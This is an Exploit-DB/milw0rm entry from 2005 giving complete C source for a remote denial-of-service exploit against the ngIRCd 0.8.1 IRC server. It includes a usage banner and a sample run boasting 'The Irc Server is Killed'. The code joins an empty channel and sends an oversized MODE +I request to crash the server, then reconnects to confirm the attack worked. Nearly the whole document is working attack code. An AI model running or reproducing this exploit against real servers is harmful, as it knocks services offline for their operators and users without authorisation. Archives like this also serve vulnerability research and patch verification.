Exploit-DB #789
Description: ngIRCd 0.8.1 - Remote Denial of Service (2)
Type: dos
Platform: linux
Date: 2005-02-05
Author: CorryL

Exploit:
/* Ip under usage is actually port /str0ke */

/* 
-=[x0n3-h4ck]=--=[00:48:19]=--=[/root]=--=[Account: root]=-

-=[#]  ./ngircd_dos x0n3-h4ck.org 12345 Angel DarkChan

-=[ NGircd <= 0.8.1 Remote DoS ::: Coded by Expanders ]=-

Connecting to target    ...[Done]
Building evil buffer        ...[Done]
Sending NICK               ...[Done]
Sending USER               ...[Done]
Joining Channel            ...[Done]
Sending evil request    ...[Done]
Trying to reconnect      ...[Done] -> Attack Success! Lets party!

The Irc Server is Killed !!

Exploit:

     NGircd <= 0.8.1     Remote Denial Of Service       Coded by: Expanders

     Usage:  ./ngircd_dos <Host> <Ip> <NickToUse> <ChannellToJoin>

  NOTE:  The channel must be EMPTY to let the exploit use +I mode

     Example:

*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void help(char *program_name);

int main(int argc, char *argv[]) {
    struct sockaddr_in trg;
    struct hostent *he;
long addr;
    int sockfd, buff,rc;
char evilbuf[1024];
char buffer[1024];
char *nick="AntiServer";
char *channel="Die_NGircd";
char *request;
if(argv[3] != NULL) nick=argv[3];
if(argv[4] != NULL) channel=argv[4];
if(argc < 3 ) {
 help(argv[0]);
 exit(0);
}
printf("\n\n-=[ NGircd <= 0.8.1 Remote DoS ::: Coded by Expanders ]=-\n");
    he = gethostbyname(argv[1]);
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    request = (char *) malloc(12344);
    trg.sin_family = AF_INET;
    trg.sin_port = htons(atoi(argv[2]));
    trg.sin_addr = *((struct in_addr *) he->h_addr);
    memset(&(trg.sin_zero), '\0', 8);
printf("\n\nConnecting to target \t...");
rc=connect(sockfd, (struct sockaddr *)&trg, sizeof(struct sockaddr_in));
if(rc==0)
{
 printf("[Done]\nBuilding evil buffer\t...");
 memset(evilbuf,65,300);
 memset(evilbuf+300,64,1);
 memset(evilbuf+301,65,128);
 printf("[Done]\nSending NICK           \t...");
 sprintf(request,"NICK %s\n",nick);
 send(sockfd,request,strlen(request),0);
 printf("[Done]\nSending USER           \t...");
 sprintf(request,"USER %s x0n3-h4ck.org eth0.x0n3-h4ck.org
:%s\n",nick,nick);
 send(sockfd,request,strlen(request),0);
 buff=recv(sockfd, buffer, 256, 0);
 printf("[Done]\nJoining Channel        \t...");
 sprintf(request,"JOIN #%s\n",channel);
 send(sockfd,request,strlen(request),0);
 printf("[Done]\nSending evil request   \t...");
 sprintf(request,"MODE #%s +I %s\n",channel,evilbuf);
 send(sockfd,request,strlen(request),0);
 sprintf(request,"QUIT www.x0n3-h4ck.org\n",evilbuf);
 send(sockfd,request,strlen(request),0);
 sleep(2);
 printf("[Done]\nTrying to reconnect\t...");
 close(sockfd);
 sockfd = socket(AF_INET, SOCK_STREAM, 0);
 sleep(1);
 rc=connect(sockfd, (struct sockaddr *)&trg, sizeof(struct sockaddr_in));
 if(rc==0)
  printf("[Fail] -> Damn! Attack Failed!\n\n");
 else
  printf("[Done] -> Attack Success! Lets party!\n\n");
}
else
 printf("[Fail] -> Unable to connect\n\n");
close(sockfd);
return 0;

}

void help(char *program_name) {

printf("\n\t-=[      NGircd <= 0.8.1 Remote Denial Of Service      ]=-\n");
printf("\t-=[                                                    ]=-\n");
printf("\t-=[      Coded by
ders -/www.x0n3-h4ck.org\\-      ]=-\n\n");
printf("Usage: %s <Host> <Ip> <NickToUse>
<ChannellToJoin>\n",program_name);
}

// milw0rm.com [2005-02-05]